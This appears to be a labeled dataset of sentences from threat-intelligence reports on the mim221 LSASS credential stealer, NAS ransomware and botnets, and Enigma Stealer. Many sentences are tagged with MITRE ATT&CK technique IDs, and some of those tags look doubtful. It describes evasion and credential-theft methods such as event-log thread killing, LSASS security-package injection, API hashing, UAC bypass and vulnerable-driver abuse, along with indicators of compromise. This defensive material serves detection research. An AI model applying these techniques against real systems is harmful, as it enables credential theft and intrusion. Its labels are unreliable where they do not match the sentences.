{"sentence": "While reflective image loading is a known technique at this time, its use was first observed in the DoublePulsar and subsequently the SlingShot frameworks in 2017 and 2018, respectively.", "labels": [], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
{"sentence": "This eliminates detection based on API hooking and file artifacts.", "labels": [], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
{"sentence": "When it is finished executing, pc.exe displays a message indicating a version number and build timestamp: Version 2.2.1 - build on Jun 9 2022 16:02:12.", "labels": [], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
{"sentence": "This allows mim221 to inspect and extract credentials from the LSASS process.", "labels": ["T1562.001"], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
{"sentence": "Disabling Windows event logging in an attempt to evade detection; and Injecting pc.dll into LSASS as a Security Package.", "labels": ["T1055", "T1562.001"], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
{"sentence": "Security Packages are used to extend the Windows authentication mechanism and can be abused to execute malicious code in the context of LSASS.", "labels": ["T1055", "T1562.001"], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
{"sentence": "This is achieved by locating the process that hosts the Event Log, enumerating the processes’ threads, identifying the threads assigned to the service by their service tag (eventlog), and terminating them.", "labels": ["T1057"], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
{"sentence": "This call instructs LSASS to load and execute pc.dll, which then stages the getHashFlsa64.dll credential theft component.", "labels": ["T1003.001"], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
{"sentence": "getHashFlsa64.dll conducts credential theft in the context of LSASSpc.dll and getHashFlsa64.dll In the context LSASS, pc.dll decrypts, reflectively loads, and executes the code credential theft component getHashFlsa64.dll in a manner similar to pc.exe.", "labels": ["T1140"], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
{"sentence": "pc.dll and getHashFlsa64.dll share the same original filename: getHashFlsa64.dll.", "labels": [], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
{"sentence": "pc.dll is implemented such that its main routine returns FALSE, making LSASS execute pc.dll and then unload it.", "labels": [], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
{"sentence": "This is a detection evasion technique making LSASS load pc.dll while avoiding appearing as an added (registered) Security Package.", "labels": [], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
{"sentence": "LSASS normally creates registry entries when adding Security Packages and does not unload them once loaded.", "labels": [], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
{"sentence": "Previous research provides more detail on this topic.", "labels": [], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
{"sentence": "The GetMyVersion functionAdditional Information Error Messages and Public Code Reuse The mim221 components implement error logging.", "labels": [], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
{"sentence": "For example, the implementation of AddSecurityPackage64.dll looks like an adaptation of public code that demonstrates injection of a Security Package into LSASS using RPC calls.", "labels": ["T1003.001"], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
{"sentence": "Similarity between publicly available code (top) and AddSecurityPackage64.dll (bottom)Timestamp Information The mim221 components that reflectively load other executables, pc.exe and pc.dll, patch beforehand a string in the loaded executable, which provides further timestamp information: ====A!B@C#0-2022-05-23 16:33:03S. The patching involves replacing the string with configuration information, such as the mim221 execution password and a path to the log file for storing stolen credentials.", "labels": [], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
{"sentence": "Patched timestamp stringAttribution Analysis We assess it is highly likely the initial attack phases we observed were conducted by Chinese threat actors with cyberespionage motivations.", "labels": [], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
{"sentence": "Telecommunication providers are frequent targets of espionage activity due to the sensitive data they hold.", "labels": [], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
{"sentence": "Operation Soft Cell has been associated with the Gallium group based on TTPs and some of the domains the group has been using.", "labels": [], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
{"sentence": "Active since at least 2012, Gallium is likely a Chinese state-sponsored group that is targeting telecommunication, financial, and government entities in Southeast Asia, Europe, Africa, and the Middle East.", "labels": [], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
{"sentence": "The initial intrusion vector and the majority of the TTPs we observed closely match those conducted by, or associated with, the Soft Cell actors.", "labels": [], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
{"sentence": "It is worth noting that the attackers’ activities at one of the targets suggested previous knowledge of the environment.", "labels": [], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
{"sentence": "By pivoting on the original filename of mim221’s getHashFlsa64.dll, we observed another sample that steals credentials from LSASS.", "labels": ["T1003.001"], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
{"sentence": "This sample has the PDB path of e:\\vs_proj\\mimkTools\\getHashFlsa\\getHashFlsa\\x64\\release\\getHashFlsa64.pdb and has been first submitted to VirusTotal from Vietnam on January 04, 2023.", "labels": [], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
{"sentence": "The path partially overlaps with the PDB path of a Mimikatz Soft Cell executable (E:\\vs_proj\\simplify_modify\\Win32\\simplify.pdb) and another Mimikatz executable of a Chinese threat actor thought to be part of the Soft Cell activity group arsenal (E:\\vs_proj\\mimkTools\\dcsync_new\\x64\\dcsync64.pdb).", "labels": [], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
{"sentence": "This indicates that mim221 and these binaries may originate from the same source.", "labels": [], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
{"sentence": "We refer to this sample as mim220.", "labels": [], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
{"sentence": "Output from mim220 (top) and mim221 (bottom)", "labels": [], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
{"sentence": "Pivoting on this certificate reveals further Mimikatz modifications, some with filenames very similar to those we observed.", "labels": [], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
{"sentence": "This is evident from their consistent targeted attacks on various entities including government, finance, entertainment, and telecommunication organizations.", "labels": [], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
{"sentence": "The recent activities targeting the telecommunication sector this post discusses are some of the latest such attacks.", "labels": [], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
{"sentence": "Our analysis of mim221 highlights the continuous maintenance and further development of the Chinese espionage malware arsenal.", "labels": [], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
{"sentence": "These threat actors will almost certainly continue exploring and upgrading their tools with new techniques for evading detection, including integrating and modifying publicly available code.", "labels": [], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
{"sentence": "SentinelLabs continues to monitor espionage activities and hopes that defenders will leverage the findings presented in this post to bolster their defenses.", "labels": [], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
{"sentence": "Indicators of Compromise SHA1 Note f54a41145b732d47d4a2b0a1c6e811ddcba48558 pc.exe 1c405ba0dd99d9333173a8b44a98c6d029db8178 AddSecurityPackage64.dll (unpatched) df4bd177b40dd66f3efb8d6ea39459648ffd5c0e AddSecurityPackage64.dll (patched) 814f980877649bc67107d9e27e36fba677cad4e3 pc.dll 508408edda49359247edc7008762079c5ba725d9 getHashFlsa64.dll (unpatched) 97a7f1a36294e5525310f121e1b98e364a22e64d getHashFlsa64.dll (patched)", "labels": [], "doc_title": "Operation Tainted Love  Chinese APTs Target Telcos in New Attacks"}
{"sentence": "Defending Users’ NAS Devices From Evolving Threats In our latest research, we analyze the threats targeting well-known brands of network-attached storage (NAS) devices.", "labels": [], "doc_title": "Defending Users NAS Devices From Evolving Threats"}
{"sentence": "By: Stephen Hilt, Fernando Merces January 20, 2022Read time: ( words) Save to Folio Subscribe Threats to the internet of things (IoT) continue to evolve as users and businesses grow increasingly reliant on these tools for constant connectivity, access to information and data, and workflow continuity.", "labels": [], "doc_title": "Defending Users NAS Devices From Evolving Threats"}
{"sentence": "Cybercriminals have taken notice of this dependence and now regularly update their known tools and routines to include network-attached storage (NAS) devices to their list of targets, knowing full well that users rely on these devices for storing and backing up files in both modern homes and businesses.", "labels": [], "doc_title": "Defending Users NAS Devices From Evolving Threats"}
{"sentence": "More importantly, cybercriminals are aware that these tools hold valuable information and have only minimal security measures.", "labels": [], "doc_title": "Defending Users NAS Devices From Evolving Threats"}
{"sentence": "In our latest research paper, “Backing Your Backup: Defending NAS Devices Against Evolving Threats,” we studied the current infrastructure, environment, threats, and recommendations for defending systems against current threats targeting NAS devices.", "labels": [], "doc_title": "Defending Users NAS Devices From Evolving Threats"}
{"sentence": "While the disappearance of REvil (aka Sodinokibi) in mid-2021 is filled with uncertainty, security researchers have found a Linux version of the REvil ransomware that they have dubbed as Revix.", "labels": [], "doc_title": "Defending Users NAS Devices From Evolving Threats"}
{"sentence": "Revix’s JSON-based configuration While some parameters are ignored by the ransomware, these are most important ones that we observed: pk: A 64-byte key nbody: The ransomware note text-encoded in base64 nname: The ransomware note name ext: The extension added to encrypted files After compromising the system, the malicious actors execute it manually on a NAS device to encrypt files and create a ransom note with a unique key per victim.", "labels": ["T1027"], "doc_title": "Defending Users NAS Devices From Evolving Threats"}
{"sentence": "Revix ransom note While the differences between the versions are minor, the group advertised the capability of encrypting NAS devices as early as May 2021 in underground forums.", "labels": [], "doc_title": "Defending Users NAS Devices From Evolving Threats"}
{"sentence": "Given the vulnerability of NAS devices that are directly connected to the internet, we can expect a new wave of ransomware attacks affecting these gadgets in the future.", "labels": [], "doc_title": "Defending Users NAS Devices From Evolving Threats"}
{"sentence": "StealthWorker In 2021, security researchers found brute-force attacks launched from the StealthWorker botnet on Synology NAS devices.", "labels": ["T1110"], "doc_title": "Defending Users NAS Devices From Evolving Threats"}
{"sentence": "This botnet is also designed to generally attack any web server using HTTP authentication and other NAS devices like QNAP.", "labels": [], "doc_title": "Defending Users NAS Devices From Evolving Threats"}
{"sentence": "Valid credentials found during compromise are then uploaded to the command-and-control (C&C) server, usually at port 5028/TCP. Figure 4.", "labels": ["T1041", "T1078", "T1095"], "doc_title": "Defending Users NAS Devices From Evolving Threats"}
{"sentence": "Here are some best practices to protect your systems against threats that leverage the gaps in your NAS devices: Avoid connecting a NAS device directly to the internet.", "labels": [], "doc_title": "Defending Users NAS Devices From Evolving Threats"}
{"sentence": "Never use the preset default credentials that come with the device as these are well-known to malicious actors.", "labels": [], "doc_title": "Defending Users NAS Devices From Evolving Threats"}
{"sentence": "Enable two-factor authentication (2FA) for additional security.", "labels": [], "doc_title": "Defending Users NAS Devices From Evolving Threats"}
{"sentence": "Regularly check NAS manufacturers’ online security guides, such as Synology’s recommended best practices and QNAP’s recently released suggestions on how to help defend their devices against additional exposure on the internet.", "labels": [], "doc_title": "Defending Users NAS Devices From Evolving Threats"}
{"sentence": "To find more technical details, threats, insights, and recommendations in protecting your NAS device, download our research “Backing Your Backup: Defending NAS Devices Against Evolving Threats.” Authors Stephen Hilt Sr. Threat Researcher Fernando Merces Sr. Threat Researcher", "labels": [], "doc_title": "Defending Users NAS Devices From Evolving Threats"}
{"sentence": "Malware Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs We discovered an active campaign targeting Eastern Europeans in the cryptocurrency industry using fake job lures.", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "In this campaign, the suspected Russian threat actors, use several highly obfuscated and underdevelopment custom loaders in order to infect those involved in the cryptocurrency industry with Enigma stealer (detected as TrojanSpy.MSIL.ENGIMASTEALER.YXDBC), which is a modified version of the Stealerium information stealer.", "labels": ["T1027"], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "In addition to these loaders, the attacker also exploits CVE-2015-2291, an Intel driver vulnerability, to load a malicious driver designed to reduce the token integrity of Microsoft Defender.", "labels": ["T1068"], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "Stealerium, the original information stealer which serves as the base for Enigma Stealer, is an open-source project written in C# and markets itself as a stealer, clipper, and keylogger with logging capabilities using the Telegram API.", "labels": ["T1005", "T1056.001"], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "Security teams and individual users are advised to continuously update the security solutions of their systems and remain vigilant against threat actors who perform social engineering via job opportunity or salary increase-related lures.", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "Attack Chain Figure 1.", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "The Attack kill chain used by Enigma Stealer operator (click the image for a larger version) Using fake cryptocurrency interviews to lure victims", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "The infection chain starts with a malicious RAR archive — in this instance, contract.rar (SHA256: 658725fb5e75ebbcb03bc46d44f048a0f145367eff66c8a1a9dc84eef777a9cc) — which is distributed to victims via phishing attempts or through social media.", "labels": ["T1027", "T1566.001"], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "The archive contains the files, Interview questions.txt, and Interview conditions.word.exe.", "labels": ["T1140"], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "The files found inside the malicious RAR archive These files set up the pretext for a fake cryptocurrency role or job opening.", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "One file, Interview questions.txt (SHA256: 3a1eb6fabf45d18869de4ffd773ae82949ef80f89105e5f96505de810653ed73) contains sample interview questions written in Cyrillic.", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "This serves to further legitimize the package in the eyes of the victim and draw attention away from the malicious binary. Figure 3.", "labels": ["T1036.005"], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "Once executed, the Enigma loader begins the registration and downloading of the second-stage payload.", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "At each stage the payload sends its execution log to the logging server.", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "Since this malware is under continuous development the attacker potentially uses the logging server to improve malware performance.", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "Amadey C&C login page Amadey is a popular botnet that is sold on Russian speaking forums, but its source code has been leaked online.", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "Amadey offers threat actors polling and reconnaissance services.", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "This server has a unique Linux distribution only referenced in Russian Linux forums.", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "The default time zone of the C&C server The default time zone on this server is set to Europe/Moscow.", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "This server registers a newly infected host when Interview conditions.word.exe is executed by the victim.", "labels": ["T1204.002"], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "Stage 1: EnigmaDownloader_s001 MD5 SHA-1 SHA-256 File size 1693D0A858B8FF3B83852C185880E459 5F1536F573D9BFEF21A4E15273B5A9852D3D81F1 03B9D7296B01E8F3FB3D12C4D80FE8A1BB0AB2FD76F33C5CE11B40729B75FB23 367.00 KB (375808 bytes)", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "Its primary objective is to download, deobfuscate, decompress, and launch the secondary stage payload.", "labels": ["T1105", "T1140"], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "Before delving into the analysis of \"EngimaDownloader_s001,\" let's first examine how the malware decrypts strings and resolves hashed Windows APIs.", "labels": ["T1027", "T1140"], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "Please be advised that to enhance code legibility, we have substituted all hashes with the corresponding function names.", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "EngimaDownloader_s001 API Hashing: API hashing is a technique employed by malware to conceal the utilization of potentially suspicious APIs (functions) from static detection.", "labels": ["T1027"], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "It involves replacing the human-readable names of functions (such as \"CreateMutexW\") with a hash value, such as 0x0FD43765A.", "labels": ["T1027"], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "The hash value is then used in the code to call the corresponding API function, rather than using the human-readable name.", "labels": ["T1027"], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "For API Hashing the EnigmaDownloader_s001 uses the following custom MurmurHash: Figure 7.", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "Custom implementation of murmur hash The malware employs dynamic API resolving to conceal its API imports and make static analysis more difficult.", "labels": ["T1027"], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "This technique involves storing the names or hashes of the APIs needed, then importing them dynamically at runtime.", "labels": ["T1027"], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "LoadLibrary accepts the name of a DLL and returns a handle, which is then passed to GetProcAddress along with a function name to obtain a pointer to that function.", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "To further evade detection, the malware author even implemented their own custom version of GetProcAddress to retrieve the address of functions such as LoadLibrary and others.", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "Dynamic API loading The following is a list of API hash values along with the names of functions that have been used in this sample (Please note that the hash value might be different in other variants since the malware author changed some of the constant values in the hash generator function).", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "0x11A198F : combase_CoCreateGuid 0xE94A809 : kernel32_RtlZeroMemory 0x6A6A154 : kernel32_lstrcatA 0x8150471 : ntdll_RtlAllocateHeap 0x4CF4539 : user32_wvsprintfW 0x663555F : kernel32_WideCharToMultiByte 0x59CADCE :", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "ntdll_RtlFreeHeap 0x1CE543C : cabinet_CloseDecompressor 0x11CF0A2 : wininet_InternetGetConnectedState 0x675C7B2 : kernel32_Sleep 0xDC75FF2 : wininet_InternetCheckConnectionA 0x5CC35B1 : wininet_InternetSetOptionA 0xF9E8859 : wininet_InternetOpenA 0x6F05A9E : wininet_InternetConnectA 0xBAEECD9 :", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "wininet_HttpOpenRequestA 0xAD9A77C : wininet_HttpSendRequestA 0x835FA71 : wininet_HttpQueryInfoA 0xBFA9532 : wininet_InternetReadFile 0x99D029C : wininet_InternetCloseHandle 0x8DABD38 : kernel32_GetFileAttributesW 0x44E1C18 : kernel32_DeleteFileW 0xAB69596 : kernel32_CreateFileW 0x2CF38A1 :", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "Rpcrt4_RpcStringFreeW 0xD2CD112 : advapi32_CreateWellKnownSid 0xEFBC2E9 : kernel32_LocalFree 0x60EDB01 : Rpcrt4_RpcBindingFree 0x7A7DAA0 : Rpcrt4_RpcAsyncInitializeHandle 0xB3F16FA : kernel32_CreateEventW 0x1C23B4F : Rpcrt4_NdrAsyncClientCall 0x8C1F37 : kernel32_WaitForSingleObject 0x7831640 : Rpcrt4_RpcRaiseException 0xF2FCCFE : Rpcrt4_RpcAsyncCompleteCall 0x816F545 : kernel32_SetLastError 0xFBE2D99 : oleaut32_SysAllocString 0x393ACB : oleaut32_SysFreeString 0xC9FEF5F : kernel32_ExpandEnvironmentStringsW 0x74D51D3 : kernel32_CreateProcessW 0xCDE9EC27 : wininet_HttpWebSocketClose 0x80C8449 : kernel32_TerminateProcess 0x418B4E7E : wininet_AppCacheCheckManifest 0x44E65EB : kernel32_WaitForDebugEvent 0x81C3F46 :", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "kernel32_ContinueDebugEvent 0x1FB9EB2 : kernel32_LoadLibraryW 0x1071970 : kernel32_GetProcAddress 0xDAE6C9B : combase_CoInitializeEx 0xFD43765 : kernel32_CreateMutexW 0x73861029 : kernel32_BasepSetFileEncryptionCompression 0xA3FE987 : advapi32_RegDeleteKeyW 0x1CA6703 : advapi32_RegCreateKeyA 0x24EBD39 : kernel32_lstrlenA 0x69F38C6 :", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "kernel32_RegSetValueExA 0xC2D33DC : ntdll_RtlGetVersion 0xBD5D03A : kernel32_GetNativeSystemInfo 0x10BEDD60 : wininet_CreateMD5SSOHash To resolve the API hash, the malware first passes two arguments to the \"mw_resolveAPI\" function.", "labels": ["T1027"], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "The first argument is the specific library name index number (in this case 0xA = Kernel32.dll), while the second argument is the export function name hashed value (which, in this example, is 0xFD43765A)", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "The mw_resolveAPI function first finds the specific index, jumps to it, and decrypts the corresponding library name value as shown in the bottom image of Figure 9. Figure 9.", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "Resolving API hashes The following is the list of decrypted library names:", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "WinInet.dll userenv.dll psapi.dll netapi32.dll mpr.dll wtsapi32.dll api-ms-win-core-processthreads-l1-1-0.dll ntoskrnl.exe Rpcrt4.dll User32.dll api-ms-win-core-com-l1-1-0.dll Cabinet.dll shell32.dll OleAut32.dll Ole32.dll ntdll.dll mscoree.dll kernel32.dll advapi32.dll The library name and export function name hashed value is then passed to GetExportAddressByHash, which is responsible for opening the handle to the library, creating a hash for each export function name, and comparing it with the passed argument.", "labels": ["T1027"], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "Once the match is found, the malware returns the function address and calls it. Figure 10.", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "The techniques used to decrypt strings and resolve API hashes in both the stage 1 and stage 2 payloads are identical.", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "Upon execution, the malware creates the mutual exclusion object (mutex) to mark its presence in the system and retrieves the MachineGuid of the infected system from the SOFTWARE\\Microsoft\\Cryptography\\MachineGuid registry key, which it uses as a unique identifier to register the system with its C&C server and track its infection.", "labels": ["T1012"], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "Constructing a unique system identifier and creating a mutex It then deletes the HKCU\\SOFTWARE\\Intel registry key and recreates it with two values, HWID and ID, as shown in Figure 13. Figure 13.", "labels": ["T1112"], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "An example of the first debug message There are two C&C servers that were used in this attack chain.", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "The first one ,193[.]56[.]146[.]29, is used to send program execution DEBUG and Telegram to deliver payloads and send commands.", "labels": ["T1095", "T1105"], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "To download the next stage payload, the malware first sends a request to the attacker-controlled Telegram channel https://api[.]telegram[.]org/bot{token}/getFile to obtain the file_path.", "labels": ["T1095"], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "This approach allows the attacker to continuously update and eliminates reliance on fixed file names.", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "However, this file and other stage names were changed multiple times during our investigation.", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "Payload download request from Telegram Figure 18.", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "The code responsible for decrypting the next stage payload file_id and Telegram token If the file's download, deobfuscation, and decompression are successful, the malware sends the message \"bot getted\" to the debug server. Figure 19.", "labels": ["T1095", "T1140"], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "Successful payload retrieval debug message To decompress the payload, the malware uses Microsoft Cabinet's Compressapi with the compression algorithm (\"COMPRESS_RAW | COMPRESS_ALGORITHM_LZMS\").", "labels": ["T1106"], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "The code snippet in Figure 20 demonstrates how the malware downloads, deobfuscates, and decompresses file_17.pack (UpdateTask.dll).", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "Code responsible for downloading, deobfuscating, decompressing, and renaming the downloaded payload Figure 21.", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "This technique, Calling Local Windows RPC Servers from .NET (which was unveiled in 2019 by Project Zero), allows a user to bypass user account control (UAC) using only two remote procedure call (RPC) requests instead of DLL hijacking.", "labels": ["T1548.002"], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "Successful UAC bypass execution debug message", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "The malware requires elevated privileges for the subsequent stage payload, which involves loading the malicious driver by exploiting CVE-2015-2291.", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "Finally, the malware executes an export function called \"Entry\" from UpdateTask.dll via rundll32.exe as shown in Figure 23. Figure 23.", "labels": ["T1218.011"], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "Running the stage 2 payload through rundll32.exe Stage 2: EngimaDownloader_s002 MD5 SHA-1 SHA-256 File size 377f617ccd4aa09287d5221d5d8e1228 288358deaa053b30596100c9841a7d6d1616908d f1623c2f7c00affa3985cf7b9cdf25e39320700fa9d69f9f9426f03054b4b712 497.50 KB (509440 bytes)", "labels": ["T1218.011"], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "The second stage payload, UpdatTask.dll, is a dynamic-link library (DLL) written in C++ that comprises two export functions (DllEntryPoint and Entry).", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "The primary objective of this malware is to disable Microsoft Defender by deploying a malicious kernel mode driver (“bring your own vulnerable driver” or BYOVD method) via exploiting a vulnerable Intel driver (CVE-2015-2291) and then downloading and executing the third-stage payload.", "labels": ["T1068", "T1562.001"], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "Please note that the first, second, and third-stage payloads all obtain the infected system's MachineGuid at the start and use it to identify the machine in debug message network traffic, enabling the adversary to track the infected system's malware execution state.", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "Figure 24.", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "Constructing a unique system identifier and creating a mutex Next, the malware will determine if it is running as an account with administrator privileges or simply as a regular user using the GetTokenInformation API.", "labels": ["T1033", "T1106"], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "Checking the process privileges If the process successfully obtains elevated privileges, it proceeds to drop the files shown in Figure 26. Figure 26.", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "SYS Malicious drivers reduce the token integrity of Microsoft defender (MsMpEng.exe) 28ca7a21de60671f3b528a9e08a44e1c 21F1CFD310633863BABAAFE7E5E892AE311B42F6 D5B4C2C95D9610623E681301869B1643E4E2BF0ADCA42EAC5D4D773B024FA442 The malware uses an open-source project called KDMapper to manually map non-signed/self-signed drivers in memory by exploiting the iqvw64e.sys Intel driver.", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "The functions intel_driver::Load() and kdmapper::MapDriver() are both responsible for achieving this task.", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "Debug message for loading the driver and providing execution status", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
{"sentence": "To achieve this task, it employs similar techniques as those used in the first stage — the only difference, in this case, is that the malware is executing a .NET Assembly from C++ in memory using the CLR (Common Language Runtime) hosting technique.", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"}
